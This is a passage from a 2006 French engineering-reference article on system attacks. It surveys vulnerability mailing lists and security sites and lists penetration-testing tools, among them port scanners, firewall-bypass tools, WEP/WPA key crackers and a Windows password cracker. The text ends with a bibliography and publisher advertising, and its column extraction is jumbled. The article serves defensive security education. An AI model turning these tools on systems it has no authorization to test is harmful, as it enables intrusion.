vulnérabilités. La plus fameuse jusqu’à ces dernières années était la
née aux directions qui permettent de voir la tendance des vulnérabi-
liste Bugtraq. Il s’agit de mailing lists où chacun peut s’abonner, qui
lités sur une application particulière.
sont parfois contrôlées par un modérateur afin d’éviter les dérives,
et dont le sujet est tout simplement : la sécurité logique (et non phy-
sique) sous toutes ses formes. On y trouvera de tout, depuis les der- 2.1.3 Sites Web dits de sécurité
niers « bruits de couloir » de telle ou telle entreprise, salon...,
jusqu’aux échanges de points de vue concernant des vulnérabilités Il existe aussi des sites Web qui traitent d’un peu tout concernant la
fraîchement découvertes. sécurité. Le sujet n’est donc pas limité aux vulnérabilités, mais inclut
En général, les premières annonces concernant la découverte d’une également des bases de données d’exploits ou d’outils spécialisés.
faille dans une application sont faites dans ces mailings lists. À titre Le plus fameux de ces sites est Packet Storm Security où l’on
d’exemple, nous citons certaines listes parmi les plus connues. trouve comme dans un cybersupermarché, de quoi remplir son cad-
die de pirate amateur, comme le montre la page d’accueil de ce site
■ Full-disclosure : sa charte stipule que toute information en rela- (figure 8).
tion avec des vulnérabilités est acceptable sous toute forme incluant
le code source. La publicité et l’autopromotion sont interdites et les
comportements agressifs doivent rester hors liste. La politique doit
être évitée à tout prix. Et bien sûr l’exécution des outils ou program- 2.2 Outils destinés à viser les réseaux
mes sources distribués doit être faite avec prudence.
■ Bugtraq : la liste Bugtraq est placée en second volontairement. Lorsque le but n’est que de procéder à des tests de sécurité contre
Depuis que Aleph 1 (Elias Levy) a transféré la gestion de cette liste à des réseaux, il n’est habituellement pas utile de connaître les vulné-
la société SecurityFocus, il y a eu certaines plaintes car des rabilités du jour. Il s’agit alors de travailler au niveau 3 du modèle
découvertes de vulnérabilités étaient retirées de la liste par le modé- OSI, et les seules faiblesses connues ne font qu’engendrer des dénis
rateur. C’est suite à cette situation que la liste Full-disclosure a été de service.
créée. Quoi qu’il en soit, la liste Bugtraq continue d’exister, sous la Les outils qui sont alors utiles à ces tests sont souvent des outils
houlette de SecurityFocus. de balayage de port ou de passage de pare-feu.

Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie est strictement interdite.
© Techniques de l’Ingénieur H 5 833 − 11

tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

ATTAQUES DES SYSTÈMES ______________________________________________________________________________________________________________


Parution : avril 2006 - Dernière validation : février 2020 - Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

Figure 8 – Page d’accueil de Packet Storm


Security

Bien sûr, dans le cas des réseaux sans fil, il faut un outil permettant
de détecter les points d’accès disponibles et si possible de casser les 3. Conclusion
protections qui empêchent l’accès. Citons les outils les plus pratiques.
■ Nmap : c’est la référence des outils de balayage de ports. Créé Avec ce troisième volet terminant la présentation des techniques
par Fyodor, non seulement il regroupe l’ensemble des techniques d’attaques, nous découvrons à quel point il est possible de nuire aux
connues, mais en plus il a lui-même apporté de nouvelles techni- réseaux informatiques et aux plates-formes qu’ils hébergent.
ques qui sont maintenant des références pour tous les outils,
mêmes commerciaux. Nous savions déjà qu’il était possible d’affecter gravement le
fonctionnement des réseaux ou des périphériques dédiés qu’ils
■ Firewalk : cet outil particulier est destiné à permettre le passage de contiennent (dossier [H 5 830] sur les attaques des réseaux). Nous
pare-feu. Il s’appuie sur le principe de la durée de vie des paquets. avions découvert qu’il était également possible d’affecter le com-
■ ike-scan : avec l’avènement des accès ExtraNet par tunnels IPsec, portement du protocole TCP/IP ou de l’utiliser pour trouver des fai-
il est bien évidemment apparu sa contrepartie chargée de détecter blesses des plates-formes présentes sur le réseau (dossier [H 5 832]
des passerelles IPsec. Cet outil, c’est ike-scan qui fonctionne en sur les attaques des systèmes).
envoyant des faux paquets destinés à révéler la présence, et la col- Nous savons maintenant que les applications, qu’elles soient
lecte d’informations complémentaires, de ces passerelles IPsec. dédiées à une fonction spécialisée comme un protocole de rou-
■ IWHAX/Knoppix : pour le test des points d’accès WiFi, IWHAX est tage sur un équipement réseau par exemple ou d’un spectre plus
la nouvelle référence. Il s’agit d’un CD démarrable directement (live large tel un serveur Web, contiennent toutes des faiblesses qui
CD), qui permet de se retrouver sous un Linux aménagé pour gérer peuvent être un jour découvertes et exploitées de manière à obte-
un maximum d’interfaces réseaux WiFi, et incluant tous les outils nir plus de privilèges, l’accès à des informations confidentielles
nécessaires pour la détection (Kismet) et le cassage de clés WEP ou ou la capacité d’atteindre des équipements normalement inacces-
WPA (aircrack, etc.). sibles du pirate.
Avec ce troisième volet, nous découvrons également l’importance
de l’application des correctifs des applications et systèmes d’exploi-
2.3 Outils destinés à viser les systèmes tation qui résolvent les vulnérabilités découvertes tous les jours.
d’exploitation Mais lorsque l’on prend du recul, on s’aperçoit que finalement, la
sécurité n’est pas un élément mais un ensemble d’éléments qui,
conjugués correctement dans des politiques de sécurité, standards,
Enfin, la dernière étape dans le test sécurité étant de connaître les procédures et architectures, fournit un niveau global de risque plus
vulnérabilités offertes au réseau par une plate-forme particulière, il acceptable, et surtout plus contrôlé et gérable pour l’entreprise.
existe également des outils spécialisés dans cette mission. Rappelons que dans une chaîne, la vulnérabilité est toujours au niveau
■ Nessus : le plus fameux des outils de tests de vulnérabilités est Nes- du maillon le plus faible. Il faut donc harmoniser tous ces éléments.
sus. Il est d’origine française. Nessus est d’autant plus intéressant qu’il Malheureusement, avec la vulgarisation des techniques de piratage
fonctionne en mode client-serveur, ce qui permet de le placer sur le et le manque de connaissance des parents sur ces nouvelles technolo-
réseau aux endroits les plus adaptés, comme dans une ferme opéra- gies, il existe de plus en plus de pirates qui, contrairement à ceux des
tionnelle, les scanners qui sont chargés d’évaluer la sécurité des plate- anciennes générations, sont loin de maîtriser ce qu’ils font, engen-
formes. Pour les entreprises frileuses à l’utilisation du logiciel gratuit, drant des conséquences bien plus graves que leurs aînés.
Nessus intègre la technologie Nmap et existe en version privée com-
mercialisée par l’entreprise TenableSecurity, qui est, elle, américaine. Enfin, il faut également garder à l’esprit que le moyen de voir
l’évolution de la sécurité d’une plate-forme reste le contrôle périodi-
■ GFI LanGuard : pour le monde Windows, il n’existe aucun outil que et la mise en place des corrections déduites de ce contrôle.
gratuit véritablement convivial à ma connaissance. J’utilise GFI Lan-
Guard qui est très complet et permet d’effectuer rapidement les Encore une fois, on constate que chacun, que ce soit un particulier
tests classiques de sécurité d’une plate-forme Windows. Cet outil ou un employé au sein d’une entreprise et quel que soit son niveau
peut être complété par Caïn & Abel, dont la spécialité est de « casser hiérarchique dans celle-ci, apporte sa contribution à l’immense édi-
du mot de passe Microsoft ». fice qui profite à tous qu’est la sécurité.

Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie est strictement interdite.
H 5 833 − 12 © Techniques de l’Ingénieur

tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

P
O
Parution : avril 2006 - Dernière validation : février 2020 - Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

U
Attaques des systèmes R
Prendre le contrôle du bastion E
par Laurent LEVIER N
Certified Information Systems Security Professional (CISSP)
Certified Information Security Manager (CISM)
Officier de sécurité du réseau interne, Equant Télécommunications
S
A
V
Bibliographie
O
Requests for Comments (RFC) Articles http://www.sans.org/resources/idfaq/
PLUMMER (D.C.). – Ethernet Address Resolution
Protocol : Or converting network protocol
« Hobbit ». – The FTP Bounce Attack. juill. 1995.
http://www.insecure.org/nmap/
icmp_misuse.php
FADIA (A.). – ICMP : A Mammoth Description.
I
addresses to 48.bit Ethernet address for trans-
mission on Ethernet hardware. RFC 826, IETF,
nov. 1982.
hobbit.ftpbounce.txt
« Fyodor ». – Remote OS detection via TCP/IP Stack
Fingerprinting. Oct. 1998.
Oct. 2001.
http://www.hackers-black-book.com/nuke/
tutorials/ICMP-Guide.txt
R
Internet Protocol. RFC 791, IETF, sept. 1981. http://www.insecure.org/nmap/ ARKIN (O.). – ICMP Usage in Scanning. v.3.0,
nmap-fingerprinting-article.txt juill. 2001.
Transmission Control Protocol. RFC 793, IETF, « f0bic ». – Examining Advanced Remote OS Detec- http://www.sys-security.com/
sept. 1981.
BRADEN (R.). – Requirements for Internet Hosts –
tion Methods/Concepts using Perl. Fév. 2001.
http://www.packetnexus.com/
index.php?page=icmp
BERDET (J.). – Remote SMTP Server Detection.
P
kb/greyarts/docs/981766898:16776.html Sept. 2002.
Communication
oct. 1989.
Layers. RFC 1122, IETF,
KLAUS (C.). – Stealth Scanning Bypassing
Firewalls/SATAN Detectors. Déc. 1995.
http://www.greyhats.org/outils/smtpscan/
remote_smtp _detect.pdf
L
BRADLEY (T.) et BROWN (C.). – Inverse Address
Resolution Protocol. RFC 1293, IETF, janv. 1992.
JOHNS (M.St.). – Identification Protocol. RFC 1413,
http://web.textfiles.com/hacking/passivep.txt
SPITZNER (L.). – Know Your Enemy : Passive Fin-
Dans les Techniques de l’Ingénieur
LEVIER (L.). – Attaques des réseaux. [H 5 830],
U
gerprinting. Mars 2002.
IETF, fév. 1993.
GARRETT (J.), HAGAN (J.) et WONG (J.). – Directed
http://www.honeynet.org/papers/finger
http://www.net-security.org/dl/articles/
Sécurité des systèmes d’information (2005).
LEVIER (L.). – Attaques des systèmes. Identifier les
faiblesses du bastion. [H 5 832], Sécurité des
S
ARP. RFC 1433, IETF, mars 1993. honeynet/Passive_Fingerprinting.html
systèmes d’information (2005).
FIELDING (R.), GETTYS (J.), MOGUL (J.), FRYSTYK GLASER (T.). – TCP/IP Stack Fingerprinting Princi-
ples. Oct. 2000. LAURENT-MAKNAVICIUS (M.). – Pare-feu.
(H.), MASINTER (L.), LEACH (P.) et BER-
http://www.sans.org/resources/ [TE 7 550], Sécurité des systèmes d’information
NERS-LEE (T.). – Hypertext Transfer Protocol –
idfaq/tcp_fingerprinting.php (2004).
HTTP/1.1. RFC 2616, IETF, juin 1999.
SEIFRIED (K.). – Passive OS Detection and Source TESSEREAU (C.). – Protocoles SSL/TLS. [H 5 230],
BAKER (F.). – Requirements for IP Version 4 Routers. Sécurité des systèmes d’information (2005).
Ports. Sept. 2001.
RFC 1812, IETF, juin 1995. http://www.seifried.org/security/ LAURENT-MAKNAVICIUS (M.). – IPsec. [TE 7 545],
network/20011009-passive-os-detection.html Sécurité des systèmes d’information (2003).
Ouvrages
COWAN (C.). – RE : Preventing remote OS detec- FOUQUE (P.-A.). – Cryptographie appliquée.
COMER (D.). – TCP/IP : Architecture, protocoles et tion. Fév. 1999. [H 5 210], Sécurité des systèmes d’information
applications. Dunod/01 Informatique (2001). http://www.security-express.com/archives/ (2003).
McCLURE (S.), SCAMBRAY (J.) et KURTZ (G.). – bugtraq/1999_1/0890.html
Hacking Exposed. McGraw-Hill/Osborne Media TAN (K.). – How can attacker use ICMP for
Revue
(2000). reconnaissance ? Phrack http://www.phrack.org

Mailing lists et newsgroups


Full-disclosure
https://lists.grok.org.uk/mailman/listinfo/full-disclosure

Bugtraq
http://www.securityfocus.com/archive/1

Vuln Dev
http://www.securityfocus.com/archive/82

Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie


est strictement interdite. − © Techniques de l’Ingénieur Doc. H 5 833 − 1

tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

P ATTAQUES DES SYSTÈMES ______________________________________________________________________________________________________________


O
Parution : avril 2006 - Dernière validation : février 2020 - Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16

U Sites Internet
R SecurityFocus Packet Storm Security
http://www.securityfocus.com http://www.packetstormsecurity.org
Secunia
http://secunia.com

E
N Outils
(liste non exhaustive)

KeePass IWHAX
http://keepass.sourceforge.net http://www.iwhax.net
S OpenSSH
http://www.openssh.com
Nessus
http://www.nessus.org

A Nmap
http://www.insecure.org/nmap
GFI LanGuard
http://www.gfi.com/languard
Firewalk Caïn & Abel
V http://www.packetfactory.net/projects/firewalk
ike-scan
http://www.oxid.it/cain.html
Java Platform

O http://www.nta-monitor.com/ike-scan http://java.sun.com/security

I Organisme
R Internet Engineering Task Force (IETF)
http://www.ietf.org

P
L
U
S

Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie


Doc. H 5 833 − 2 est strictement interdite. − © Techniques de l’Ingénieur

tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
GAGNEZ DU TEMPS ET SÉCURISEZ VOS PROJETS
EN UTILISANT UNE SOURCE ACTUALISÉE ET FIABLE

Techniques de l’Ingénieur propose la plus importante


collection documentaire technique et scientifique
en français !
Grâce à vos droits d’accès, retrouvez l’ensemble
des articles et fiches pratiques de votre offre,
leurs compléments et mises à jour,
et bénéficiez des services inclus.

   
RÉDIGÉE ET VALIDÉE MISE À JOUR 100 % COMPATIBLE SERVICES INCLUS
PAR DES EXPERTS PERMANENTE SUR TOUS SUPPORTS DANS CHAQUE OFFRE
NUMÉRIQUES

 + de 350 000 utilisateurs


 + de 10 000 articles de référence
 + de 80 offres
 15 domaines d’expertise
Automatique - Robotique Innovation
Biomédical - Pharma Matériaux
Construction et travaux publics Mécanique
Électronique - Photonique Mesures - Analyses
Énergies Procédés chimie - Bio - Agro
Environnement - Sécurité Sciences fondamentales
Génie industriel Technologies de l’information
Ingénierie des transports

Pour des offres toujours plus adaptées à votre métier,


découvrez les offres dédiées à votre secteur d’activité

Depuis plus de 70 ans, Techniques de l’Ingénieur est la source


d’informations de référence des bureaux d’études,
de la R&D et de l’innovation.

www.techniques-ingenieur.fr
CONTACT : Tél. : + 33 (0)1 53 35 20 20 - Fax : +33 (0)1 53 26 79 18 - E-mail : infos.clients@teching.com
LES AVANTAGES ET SERVICES
compris dans les offres Techniques de l’Ingénieur

  
ACCÈS

Accès illimité Téléchargement des articles Consultation sur tous


aux articles en HTML au format PDF les supports numériques
Enrichis et mis à jour pendant Pour un usage en toute liberté Des contenus optimisés
toute la durée de la souscription pour ordinateurs, tablettes et mobiles

 
SERVICES ET OUTILS PRATIQUES

Questions aux experts* Articles Découverte Dictionnaire technique multilingue


Les meilleurs experts techniques La possibilité de consulter des articles 45 000 termes en français, anglais,
et scientifiques vous répondent en dehors de votre offre espagnol et allemand

 
Archives Impression à la demande Alertes actualisations
Technologies anciennes et versions Commandez les éditions papier Recevez par email toutes les nouveautés
antérieures des articles de vos ressources documentaires de vos ressources documentaires

*Questions aux experts est un service réservé aux entreprises, non proposé dans les offres écoles, universités ou pour tout autre organisme de formation.

ILS NOUS FONT CONFIANCE

www.techniques-ingenieur.fr
CONTACT : Tél. : + 33 (0)1 53 35 20 20 - Fax : +33 (0)1 53 26 79 18 - E-mail : infos.clients@teching.com

Vous aimerez peut-être aussi